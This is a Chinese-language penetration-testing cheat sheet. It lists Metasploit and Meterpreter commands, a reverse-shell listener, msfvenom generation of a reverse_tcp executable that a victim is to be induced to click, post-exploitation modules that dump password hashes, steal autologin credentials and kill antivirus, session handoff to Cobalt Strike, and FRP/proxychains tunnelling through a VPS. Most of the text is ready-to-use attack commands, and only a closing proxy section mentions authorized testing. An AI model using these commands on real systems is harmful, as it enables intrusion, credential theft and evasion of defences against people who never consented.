MSF常用参数命令：

• reload_all #从目录重载所有模块
• back #后退命令，移出当前上下文，用于模块切换
• info #目标和模块详细信息
• check #检查目标是否受某个漏洞影响
• sessions #会话管理
• sessions -l #列出所有会话
• sessions -K #终止所有会话
• sessions -i id #进入某个会话
• sessions -v #以详细模式列出会话
• sessions -u #在许多平台上将shell升级到meterpreter会话
• show options #显示可选选项；

MSF漏洞利用步骤：

• search xxx #搜索某个漏洞
• use xxx #使用某个漏洞利用模块
• show options #查看配置选项
• set payload #配置攻击载荷
• exploit/run #执行渗透攻击

MSF监听反弹shell：

• msf6 > use exploit/multi/handler
• msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
• msf6 exploit(multi/handler) > set LHOST 0.0.0.0
• msf6 exploit(multi/handler) > set LPORT 4444
• msf6 exploit(multi/handler) > run

Meterpreter命令：

• pwd、ls、cd、ps、cat #通用命令
• background #将当前meterpreter会话隐藏在后台sessions中
• getpid #查看当前Meterpreter Shell的进程号
• getuid #查看当前权限
• migrate 476 #将shell迁移到PID为786的进程中
• getsystem #获得系统管理员权限（要本地管理员权限运行）
• hashdump #抓哈希密码
• sysinfo #查看系统信息
• route #查看目标机完整网络设置
• shell #进入目标机shell，exit退出shell
• upload ./1.txt c:\1.txt #上传文件
• download c:\1.txt ./ #下载文件
• search -f *.txt -d c:// #搜索文件

MSF后渗透命令：

• run post/windows/gather/checkvm #查看目标是否允许在虚拟机
• run post/windows/manage/killav #关闭杀毒软件
• run post/windows/manage/enable_rdp #开启3389远程桌面
• run post/windows/manage/autoroute #查看目标子网情况
• run post/windows/gather/enum_logged_on_users #列举当前有多少用户登录过目标主机
• run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名密码
• run post/windows/gather/enum_applications #列举应用程序

cs创建监听器

• payload：Foreign HTTP

msf 监听反弹shell

msf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set LHOST 0.0.0.0msf6 exploit(multi/handler) > set LPORT 4444msf6 exploit(multi/handler) > run

2、msf to cs shell

• 获取shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=prot -f exe > xxx.exe

• 监听，邀请小伙伴点击，上线
• 反弹shell到cs

msf6 > use exploit/windows/local/payload_inject set[*] No payload configured, defaulting to windows/meterpreter/reverse_tcpmsf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf6 exploit(windows/local/payload_inject) > set lhost xxxmsf6 exploit(windows/local/payload_inject) > set lport xxx（cs的）msf6 exploit(windows/local/payload_inject) > ser session xmsf6 exploit(windows/local/payload_inject) > run

Frp配置

靶机

#frpc.ini[common]server_addr = server_port = [http_proxy]type = tcpremote_port = plugin = socks5

vps

#frps.ini[common]bind_addr = 0.0.0.0bind_port = 

Frp启动

vps建立服务端

./frps -c frps.ini

靶机开启客户端

shell cd [frp所在路径] && frpc.exe -c frpc.ini

proxychains设置

# 配置路径# /etc/proxychains.conf[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4    127.0.0.1 9050# examplesocks5  127.0.0.1 8888# 使用# proxychains curl cip.cc

msf设置代理

setg Proxyies socks5:ip:portsetg ReverseAllowProxy true

windows设置代理

• Proxifier

隧道比较脆弱，能使用规则或者直接代理到浏览器使用。

默认开启为全局代理。可设置规则

0x1 前言

因为公司的出口IP是固定，如果做”远程”渗透测试（要有授权书）以及远程扫描等工作的时候没和客户沟通好，会出现误封IP的情况，导致业务无法流畅的运行，沟通成本很高，遂搭建代理服务器在一定程度上避免这种情况的发生。

0x2 代理搭建

搭建环境

阿里云ECS Ubuntu18.04

代理软件

tinyproxy

安装过程

apt install tinyproxy  #安装vim /etc/tinyproxy/tinyproxy.conf  #修改配置以下为修改的内容---------Port xxxx  #改成不冲突的端口号，安全组需放通Allow 127.0.0.1 # 注释掉才能允许其他机器访问---------systemctl restart tinyproxynetstat -ano |grep xxxx #查看端口是否启动

0x3 代理使用

浏览器代理插件以及其他软件的代理配置